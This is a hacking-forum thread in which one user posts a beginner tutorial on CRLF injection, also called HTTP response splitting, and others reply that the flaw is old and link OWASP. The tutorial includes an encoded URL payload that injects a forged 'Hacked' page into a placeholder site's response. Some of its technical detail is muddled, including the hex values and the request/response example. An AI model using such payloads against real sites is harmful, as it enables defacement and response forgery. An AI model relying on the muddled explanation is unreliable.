[Boomslang]

Hello [username],
I'm going the introduce you the CRLF vulnerability and explain its exploitation technique in this tutorial.
Lets start!

What Does CRLF Mean?
It's shortened of "Carriage Return and Line Feed". These are the names of the characters we're going to inject.

Code:

Carriage Return -> \r Line Feed (New Line) -> \n

Looks familiar right?
When we push the Enter/Return button on our keyboard everytime, these characters been sending to proccessor for passing to a new line.
Extra Information: Equalivent of these characters in hexadecimal are 0A and 0D.


Exploitation
Now lets see an HTTP request.

Code:

GET http://www.tiggerwigger.com/index.php?param=val HTTP/1.0 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0 Host: www.tiggerwigger.com

This is a simple HTTP request with using GET method. We have a parameter that we can manipulate.

Code:

http://www.tiggerwigger.com/index.php?param=val

So if life gives us lemons, we'll make a lemonade

Lets manipulate that piece of shit

We'll inject a web response using CRLF characters, so the server will echo back our response. Then our webbrowser will act it as an actual response and show our index. Confused? Let me give an example for you.

Let's add our exploit to URL and see what happens.

Code:

http://www.tiggerwigger.com/index.php?param=val%0D%0AContent-Type:%20text/html%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:%20text/html%0D%0A%0D%0A<center><h1>Hacked</h1></center>%20HTTP/1.1

Now our request will be like this;

Code:

GET http://www.tiggerwigger.com/index.php?param=val Content-Type: text/html HTTP/1.1 200 OK Content-Type: text/html <center><h1>Hacked</h1></center> HTTP/1.1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0 Host: www.tiggerwigger.com

And the server echoes it back to us..

Code:

HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Date: Wed, 01 Jun 2011 14:59:30 GMT Allow: GET Connection: close HTTP/1.1 200 OK Content-Type: text/html <center><h1>Hacked</h1></center> HTTP/1.1

Our browser treated our injected response like an actual response and BAM! Our index appeared in the page.

I may have made mistakes feel free to correct them
I hope you'll like this tutorial.

Au Revoir..

[Boomslang]

Wrong section sorry Can someone carry this to right section please? thanks

[dropzon3]

Seen this lately? Last CVE involving it was reported in 2005. All major HTTP services protect against this and I have never seen it on a production system this decade. Under all frameworks I know you can't even do this if you tried. (Though I havn't tried anytime recently)

[Boomslang]

Seen this lately? Last CVE involving it was reported in 2005. All major HTTP services protect against this and I have never seen it on a production system this decade. Under all frameworks I know you can't even do this if you tried. (Though I havn't tried anytime recently)

I haven't seen this lately no. It must be an old one.

[Ligeti]

Mate... this is called HTTP Response Splitting Attack, and it is very difficult to orchestrate because of the so many requirements needed, and yes I saw this happening lately (while pentesting)

There is another use of this... but I can't remember where/what now!

More information: https://www.owasp.org/index.php/HTTP_Response_Splitting

The thing I like about your thread is that you actually explained it better than CEH v8 guide or owasp.org themselves! Easy to follow and understand (HQ as usual)

Thanks